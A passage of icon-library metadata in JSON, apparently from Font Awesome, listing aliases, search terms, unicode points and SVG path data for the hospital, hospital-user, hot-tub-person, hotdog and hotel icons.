        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M64 464V316.9c0-108.4 68.3-205.1 170.5-241.3L404.2 15.5C425.6 7.9 448 23.8 448 46.4c0 11-5.5 21.2-14.6 27.3L400 96c48.1 0 91.2 29.8 108.1 74.9l48.6 129.5c11.8 31.4 4.1 66.8-19.6 90.5c-16 16-37.8 25.1-60.5 25.1h-3.4c-26.1 0-50.9-11.6-67.6-31.7l-32.3-38.7c-11.7 4.1-24.2 6.4-37.3 6.4l-.1 0 0 0c-6.3 0-12.5-.5-18.6-1.5c-3.6-.6-7.2-1.4-10.7-2.3l0 0c-28.9-7.8-53.1-26.8-67.8-52.2c-4.4-7.6-14.2-10.3-21.9-5.8s-10.3 14.2-5.8 21.9c24 41.5 68.3 70 119.3 71.9l47.2 70.8c4 6.1 6.2 13.2 6.2 20.4c0 20.3-16.5 36.8-36.8 36.8H112c-26.5 0-48-21.5-48-48zM392 224a24 24 0 1 0 0-48 24 24 0 1 0 0 48z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M64 464V316.9c0-108.4 68.3-205.1 170.5-241.3L404.2 15.5C425.6 7.9 448 23.8 448 46.4c0 11-5.5 21.2-14.6 27.3L400 96c48.1 0 91.2 29.8 108.1 74.9l48.6 129.5c11.8 31.4 4.1 66.8-19.6 90.5c-16 16-37.8 25.1-60.5 25.1h-3.4c-26.1 0-50.9-11.6-67.6-31.7l-32.3-38.7c-11.7 4.1-24.2 6.4-37.3 6.4l-.1 0 0 0c-6.3 0-12.5-.5-18.6-1.5c-3.6-.6-7.2-1.4-10.7-2.3l0 0c-28.9-7.8-53.1-26.8-67.8-52.2c-4.4-7.6-14.2-10.3-21.9-5.8s-10.3 14.2-5.8 21.9c24 41.5 68.3 70 119.3 71.9l47.2 70.8c4 6.1 6.2 13.2 6.2 20.4c0 20.3-16.5 36.8-36.8 36.8H112c-26.5 0-48-21.5-48-48zM392 224a24 24 0 1 0 0-48 24 24 0 1 0 0 48z"
      }
    },
    "free": ["solid"]
  },
  "hospital": {
    "aliases": {
      "names": ["hospital-alt", "hospital-wide"],
      "unicodes": {
        "composite": ["1f3e5", "f47d"],
        "primary": ["f47d"],
        "secondary": ["10f0f8", "10f47d"]
      }
    },
    "changes": [
      "3.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "building",
        "covid-19",
        "doctor",
        "emergency room",
        "hospital",
        "medical center",
        "medicine"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f0f8",
    "label": "Hospital",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M192 48c0-26.5 21.5-48 48-48H400c26.5 0 48 21.5 48 48V512H368V432c0-26.5-21.5-48-48-48s-48 21.5-48 48v80H192V48zM48 96H160V512H48c-26.5 0-48-21.5-48-48V320H80c8.8 0 16-7.2 16-16s-7.2-16-16-16H0V224H80c8.8 0 16-7.2 16-16s-7.2-16-16-16H0V144c0-26.5 21.5-48 48-48zm544 0c26.5 0 48 21.5 48 48v48H560c-8.8 0-16 7.2-16 16s7.2 16 16 16h80v64H560c-8.8 0-16 7.2-16 16s7.2 16 16 16h80V464c0 26.5-21.5 48-48 48H480V96H592zM312 64c-8.8 0-16 7.2-16 16v24H272c-8.8 0-16 7.2-16 16v16c0 8.8 7.2 16 16 16h24v24c0 8.8 7.2 16 16 16h16c8.8 0 16-7.2 16-16V152h24c8.8 0 16-7.2 16-16V120c0-8.8-7.2-16-16-16H344V80c0-8.8-7.2-16-16-16H312z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M192 48c0-26.5 21.5-48 48-48H400c26.5 0 48 21.5 48 48V512H368V432c0-26.5-21.5-48-48-48s-48 21.5-48 48v80H192V48zM48 96H160V512H48c-26.5 0-48-21.5-48-48V320H80c8.8 0 16-7.2 16-16s-7.2-16-16-16H0V224H80c8.8 0 16-7.2 16-16s-7.2-16-16-16H0V144c0-26.5 21.5-48 48-48zm544 0c26.5 0 48 21.5 48 48v48H560c-8.8 0-16 7.2-16 16s7.2 16 16 16h80v64H560c-8.8 0-16 7.2-16 16s7.2 16 16 16h80V464c0 26.5-21.5 48-48 48H480V96H592zM312 64c-8.8 0-16 7.2-16 16v24H272c-8.8 0-16 7.2-16 16v16c0 8.8 7.2 16 16 16h24v24c0 8.8 7.2 16 16 16h16c8.8 0 16-7.2 16-16V152h24c8.8 0 16-7.2 16-16V120c0-8.8-7.2-16-16-16H344V80c0-8.8-7.2-16-16-16H312z"
      },
      "regular": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M232 0c-39.8 0-72 32.2-72 72v8H72C32.2 80 0 112.2 0 152V440c0 39.8 32.2 72 72 72h.2 .2 .2 .2 .2H73h.2 .2 .2 .2 .2 .2 .2 .2 .2 .2H75h.2 .2 .2 .2 .2 .2 .2 .2 .2 .2H77h.2 .2 .2 .2 .2 .2 .2 .2 .2 .2H79h.2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2H82h.2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2H85h.2 .2 .2 .2H86h.2 .2 .2 .2H87h.2 .2 .2 .2H88h.2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2H98h.2 .2 .2 .2H99h.2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2v0H456h8v0H568c39.8 0 72-32.2 72-72V152c0-39.8-32.2-72-72-72H480V72c0-39.8-32.2-72-72-72H232zM480 128h88c13.3 0 24 10.7 24 24v40H536c-13.3 0-24 10.7-24 24s10.7 24 24 24h56v48H536c-13.3 0-24 10.7-24 24s10.7 24 24 24h56V440c0 13.3-10.7 24-24 24H480V336 128zM72 128h88V464h-.1-.2-.2-.2H159h-.2-.2-.2H158h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H154h-.2-.2-.2H153h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H150h-.2-.2-.2H149h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H146h-.2-.2-.2H145h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H142h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H139h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H136h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H133h-.2-.2-.2-.2-.2-.2-.2-.2H131h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H128h-.2-.2-.2-.2-.2-.2-.2-.2H126h-.2-.2-.2-.2-.2-.2-.2-.2H124h-.2-.2-.2-.2-.2-.2-.2-.2H122h-.2-.2-.2-.2-.2-.2-.2-.2H120h-.2-.2-.2-.2-.2-.2-.2-.2H118h-.2-.2-.2-.2-.2-.2-.2-.2H116h-.2-.2-.2-.2-.2-.2-.2-.2H114h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H111h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H108h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H105h-.2-.2-.2-.2H104h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H100h-.2-.2-.2-.2H99h-.2-.2-.2-.2H98h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H88h-.2-.2-.2-.2H87h-.2-.2-.2-.2H86h-.2-.2-.2-.2H85h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H82h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H79h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H77h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H75h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H73h-.2-.2-.2-.2-.2H72c-13.2 0-24-10.7-24-24V336h56c13.3 0 24-10.7 24-24s-10.7-24-24-24H48V240h56c13.3 0 24-10.7 24-24s-10.7-24-24-24H48V152c0-13.3 10.7-24 24-24zM208 72c0-13.3 10.7-24 24-24H408c13.3 0 24 10.7 24 24V336 464H368V400c0-26.5-21.5-48-48-48s-48 21.5-48 48v64H208V72zm88 24v24H272c-8.8 0-16 7.2-16 16v16c0 8.8 7.2 16 16 16h24v24c0 8.8 7.2 16 16 16h16c8.8 0 16-7.2 16-16V168h24c8.8 0 16-7.2 16-16V136c0-8.8-7.2-16-16-16H344V96c0-8.8-7.2-16-16-16H312c-8.8 0-16 7.2-16 16z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M232 0c-39.8 0-72 32.2-72 72v8H72C32.2 80 0 112.2 0 152V440c0 39.8 32.2 72 72 72h.2 .2 .2 .2 .2H73h.2 .2 .2 .2 .2 .2 .2 .2 .2 .2H75h.2 .2 .2 .2 .2 .2 .2 .2 .2 .2H77h.2 .2 .2 .2 .2 .2 .2 .2 .2 .2H79h.2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2H82h.2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2H85h.2 .2 .2 .2H86h.2 .2 .2 .2H87h.2 .2 .2 .2H88h.2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2H98h.2 .2 .2 .2H99h.2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2v0H456h8v0H568c39.8 0 72-32.2 72-72V152c0-39.8-32.2-72-72-72H480V72c0-39.8-32.2-72-72-72H232zM480 128h88c13.3 0 24 10.7 24 24v40H536c-13.3 0-24 10.7-24 24s10.7 24 24 24h56v48H536c-13.3 0-24 10.7-24 24s10.7 24 24 24h56V440c0 13.3-10.7 24-24 24H480V336 128zM72 128h88V464h-.1-.2-.2-.2H159h-.2-.2-.2H158h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H154h-.2-.2-.2H153h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H150h-.2-.2-.2H149h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H146h-.2-.2-.2H145h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H142h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H139h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H136h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H133h-.2-.2-.2-.2-.2-.2-.2-.2H131h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H128h-.2-.2-.2-.2-.2-.2-.2-.2H126h-.2-.2-.2-.2-.2-.2-.2-.2H124h-.2-.2-.2-.2-.2-.2-.2-.2H122h-.2-.2-.2-.2-.2-.2-.2-.2H120h-.2-.2-.2-.2-.2-.2-.2-.2H118h-.2-.2-.2-.2-.2-.2-.2-.2H116h-.2-.2-.2-.2-.2-.2-.2-.2H114h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H111h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H108h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H105h-.2-.2-.2-.2H104h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H100h-.2-.2-.2-.2H99h-.2-.2-.2-.2H98h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H88h-.2-.2-.2-.2H87h-.2-.2-.2-.2H86h-.2-.2-.2-.2H85h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H82h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H79h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H77h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H75h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H73h-.2-.2-.2-.2-.2H72c-13.2 0-24-10.7-24-24V336h56c13.3 0 24-10.7 24-24s-10.7-24-24-24H48V240h56c13.3 0 24-10.7 24-24s-10.7-24-24-24H48V152c0-13.3 10.7-24 24-24zM208 72c0-13.3 10.7-24 24-24H408c13.3 0 24 10.7 24 24V336 464H368V400c0-26.5-21.5-48-48-48s-48 21.5-48 48v64H208V72zm88 24v24H272c-8.8 0-16 7.2-16 16v16c0 8.8 7.2 16 16 16h24v24c0 8.8 7.2 16 16 16h16c8.8 0 16-7.2 16-16V168h24c8.8 0 16-7.2 16-16V136c0-8.8-7.2-16-16-16H344V96c0-8.8-7.2-16-16-16H312c-8.8 0-16 7.2-16 16z"
      }
    },
    "free": ["regular", "solid"]
  },
  "hospital-user": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f80d"]
      }
    },
    "changes": [
      "5.7.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["covid-19", "doctor", "network", "patient", "primary care"]
    },
    "styles": ["solid"],
    "unicode": "f80d",
    "label": "Hospital User",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M48 0C21.5 0 0 21.5 0 48V256H144c8.8 0 16 7.2 16 16s-7.2 16-16 16H0v64H144c8.8 0 16 7.2 16 16s-7.2 16-16 16H0v80c0 26.5 21.5 48 48 48H265.9c-6.3-10.2-9.9-22.2-9.9-35.1c0-46.9 25.8-87.8 64-109.2V271.8 48c0-26.5-21.5-48-48-48H48zM152 64h16c8.8 0 16 7.2 16 16v24h24c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16H184v24c0 8.8-7.2 16-16 16H152c-8.8 0-16-7.2-16-16V152H112c-8.8 0-16-7.2-16-16V120c0-8.8 7.2-16 16-16h24V80c0-8.8 7.2-16 16-16zM512 272a80 80 0 1 0 -160 0 80 80 0 1 0 160 0zM288 477.1c0 19.3 15.6 34.9 34.9 34.9H541.1c19.3 0 34.9-15.6 34.9-34.9c0-51.4-41.7-93.1-93.1-93.1H381.1c-51.4 0-93.1 41.7-93.1 93.1z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M48 0C21.5 0 0 21.5 0 48V256H144c8.8 0 16 7.2 16 16s-7.2 16-16 16H0v64H144c8.8 0 16 7.2 16 16s-7.2 16-16 16H0v80c0 26.5 21.5 48 48 48H265.9c-6.3-10.2-9.9-22.2-9.9-35.1c0-46.9 25.8-87.8 64-109.2V271.8 48c0-26.5-21.5-48-48-48H48zM152 64h16c8.8 0 16 7.2 16 16v24h24c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16H184v24c0 8.8-7.2 16-16 16H152c-8.8 0-16-7.2-16-16V152H112c-8.8 0-16-7.2-16-16V120c0-8.8 7.2-16 16-16h24V80c0-8.8 7.2-16 16-16zM512 272a80 80 0 1 0 -160 0 80 80 0 1 0 160 0zM288 477.1c0 19.3 15.6 34.9 34.9 34.9H541.1c19.3 0 34.9-15.6 34.9-34.9c0-51.4-41.7-93.1-93.1-93.1H381.1c-51.4 0-93.1 41.7-93.1 93.1z"
      }
    },
    "free": ["solid"]
  },
  "hot-tub-person": {
    "aliases": {
      "names": ["hot-tub"],
      "unicodes": {
        "secondary": ["10f593"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["jacuzzi", "spa"]
    },
    "styles": ["solid"],
    "unicode": "f593",
    "label": "Hot Tub Person",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767621,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M272 24c0-13.3-10.7-24-24-24s-24 10.7-24 24v5.2c0 34 14.4 66.4 39.7 89.2l16.4 14.8c15.2 13.7 23.8 33.1 23.8 53.5V200c0 13.3 10.7 24 24 24s24-10.7 24-24V186.8c0-34-14.4-66.4-39.7-89.2L295.8 82.8C280.7 69.1 272 49.7 272 29.2V24zM0 320v16V448c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V320c0-35.3-28.7-64-64-64H277.3c-13.8 0-27.3-4.5-38.4-12.8l-85.3-64C137 166.7 116.8 160 96 160c-53 0-96 43-96 96v64zm128 16v96c0 8.8-7.2 16-16 16s-16-7.2-16-16V336c0-8.8 7.2-16 16-16s16 7.2 16 16zm80-16c8.8 0 16 7.2 16 16v96c0 8.8-7.2 16-16 16s-16-7.2-16-16V336c0-8.8 7.2-16 16-16zm112 16v96c0 8.8-7.2 16-16 16s-16-7.2-16-16V336c0-8.8 7.2-16 16-16s16 7.2 16 16zm80-16c8.8 0 16 7.2 16 16v96c0 8.8-7.2 16-16 16s-16-7.2-16-16V336c0-8.8 7.2-16 16-16zM360 0c-13.3 0-24 10.7-24 24v5.2c0 34 14.4 66.4 39.7 89.2l16.4 14.8c15.2 13.7 23.8 33.1 23.8 53.5V200c0 13.3 10.7 24 24 24s24-10.7 24-24V186.8c0-34-14.4-66.4-39.7-89.2L407.8 82.8C392.7 69.1 384 49.7 384 29.2V24c0-13.3-10.7-24-24-24zM64 128A64 64 0 1 0 64 0a64 64 0 1 0 0 128z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M272 24c0-13.3-10.7-24-24-24s-24 10.7-24 24v5.2c0 34 14.4 66.4 39.7 89.2l16.4 14.8c15.2 13.7 23.8 33.1 23.8 53.5V200c0 13.3 10.7 24 24 24s24-10.7 24-24V186.8c0-34-14.4-66.4-39.7-89.2L295.8 82.8C280.7 69.1 272 49.7 272 29.2V24zM0 320v16V448c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V320c0-35.3-28.7-64-64-64H277.3c-13.8 0-27.3-4.5-38.4-12.8l-85.3-64C137 166.7 116.8 160 96 160c-53 0-96 43-96 96v64zm128 16v96c0 8.8-7.2 16-16 16s-16-7.2-16-16V336c0-8.8 7.2-16 16-16s16 7.2 16 16zm80-16c8.8 0 16 7.2 16 16v96c0 8.8-7.2 16-16 16s-16-7.2-16-16V336c0-8.8 7.2-16 16-16zm112 16v96c0 8.8-7.2 16-16 16s-16-7.2-16-16V336c0-8.8 7.2-16 16-16s16 7.2 16 16zm80-16c8.8 0 16 7.2 16 16v96c0 8.8-7.2 16-16 16s-16-7.2-16-16V336c0-8.8 7.2-16 16-16zM360 0c-13.3 0-24 10.7-24 24v5.2c0 34 14.4 66.4 39.7 89.2l16.4 14.8c15.2 13.7 23.8 33.1 23.8 53.5V200c0 13.3 10.7 24 24 24s24-10.7 24-24V186.8c0-34-14.4-66.4-39.7-89.2L407.8 82.8C392.7 69.1 384 49.7 384 29.2V24c0-13.3-10.7-24-24-24zM64 128A64 64 0 1 0 64 0a64 64 0 1 0 0 128z"
      }
    },
    "free": ["solid"]
  },
  "hotdog": {
    "aliases": {
      "unicodes": {
        "composite": ["1f32d"],
        "secondary": ["10f80f"]
      }
    },
    "changes": ["5.7.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "bun",
        "chili",
        "frankfurt",
        "frankfurter",
        "hot dog",
        "hotdog",
        "kosher",
        "polish",
        "sandwich",
        "sausage",
        "vienna",
        "weiner"
      ]
    },
    "styles": ["solid"],
    "unicode": "f80f",
    "label": "Hotdog",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767419,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M488.6 23.4c31.2 31.2 31.2 81.9 0 113.1l-352 352c-31.2 31.2-81.9 31.2-113.1 0s-31.2-81.9 0-113.1l352-352c31.2-31.2 81.9-31.2 113.1 0zM443.3 92.7c-6.2-6.2-16.4-6.2-22.6 0c-12.5 12.5-23.8 15.1-37.5 17.6l-2.5 .4c-13.8 2.5-31.6 5.6-48 22c-16.7 16.7-20.9 36-24.1 50.9l0 0v0l-.2 1c-3.4 15.6-6 26.4-15.7 36.1s-20.5 12.3-36.1 15.7l-1 .2c-14.9 3.2-34.2 7.4-50.9 24.1s-20.9 36-24.1 50.9l-.2 1c-3.4 15.6-6 26.4-15.7 36.1c-9.2 9.2-18 10.8-32.7 13.4l0 0-.9 .2c-15.6 2.8-34.9 6.9-54.4 26.4c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0c12.5-12.5 23.8-15.1 37.5-17.6l2.5-.4c13.8-2.5 31.6-5.6 48-22c16.7-16.7 20.9-36 24.1-50.9l.2-1c3.4-15.6 6-26.4 15.7-36.1s20.5-12.3 36.1-15.7l1-.2c14.9-3.2 34.2-7.4 50.9-24.1s20.9-36 24.1-50.9l.2-1c3.4-15.6 6-26.4 15.7-36.1c9.2-9.2 18-10.8 32.7-13.4l.9-.2c15.6-2.8 34.9-6.9 54.4-26.4c6.2-6.2 6.2-16.4 0-22.6zM191.2 479.2l288-288L495 207c10.9 10.9 17 25.6 17 41s-6.1 30.1-17 41L289 495c-10.9 10.9-25.6 17-41 17s-30.1-6.1-41-17l-15.8-15.8zM17 305C6.1 294.1 0 279.4 0 264s6.1-30.1 17-41L223 17C233.9 6.1 248.6 0 264 0s30.1 6.1 41 17l15.8 15.8-288 288L17 305z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M488.6 23.4c31.2 31.2 31.2 81.9 0 113.1l-352 352c-31.2 31.2-81.9 31.2-113.1 0s-31.2-81.9 0-113.1l352-352c31.2-31.2 81.9-31.2 113.1 0zM443.3 92.7c-6.2-6.2-16.4-6.2-22.6 0c-12.5 12.5-23.8 15.1-37.5 17.6l-2.5 .4c-13.8 2.5-31.6 5.6-48 22c-16.7 16.7-20.9 36-24.1 50.9l0 0v0l-.2 1c-3.4 15.6-6 26.4-15.7 36.1s-20.5 12.3-36.1 15.7l-1 .2c-14.9 3.2-34.2 7.4-50.9 24.1s-20.9 36-24.1 50.9l-.2 1c-3.4 15.6-6 26.4-15.7 36.1c-9.2 9.2-18 10.8-32.7 13.4l0 0-.9 .2c-15.6 2.8-34.9 6.9-54.4 26.4c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0c12.5-12.5 23.8-15.1 37.5-17.6l2.5-.4c13.8-2.5 31.6-5.6 48-22c16.7-16.7 20.9-36 24.1-50.9l.2-1c3.4-15.6 6-26.4 15.7-36.1s20.5-12.3 36.1-15.7l1-.2c14.9-3.2 34.2-7.4 50.9-24.1s20.9-36 24.1-50.9l.2-1c3.4-15.6 6-26.4 15.7-36.1c9.2-9.2 18-10.8 32.7-13.4l.9-.2c15.6-2.8 34.9-6.9 54.4-26.4c6.2-6.2 6.2-16.4 0-22.6zM191.2 479.2l288-288L495 207c10.9 10.9 17 25.6 17 41s-6.1 30.1-17 41L289 495c-10.9 10.9-25.6 17-41 17s-30.1-6.1-41-17l-15.8-15.8zM17 305C6.1 294.1 0 279.4 0 264s6.1-30.1 17-41L223 17C233.9 6.1 248.6 0 264 0s30.1 6.1 41 17l15.8 15.8-288 288L17 305z"
      }
    },
    "free": ["solid"]
  },
  "hotel": {
    "aliases": {
      "unicodes": {
        "composite": ["1f3e8"],
        "secondary": ["10f594"]
      }
    },
    "changes": [
      "5.1.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "building",
        "hotel",
        "inn",
        "lodging",
        "motel",
        "resort",
        "travel"
      ]
    },
    "styles": ["solid"],
    "unicode": "f594",
    "label": "Hotel",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
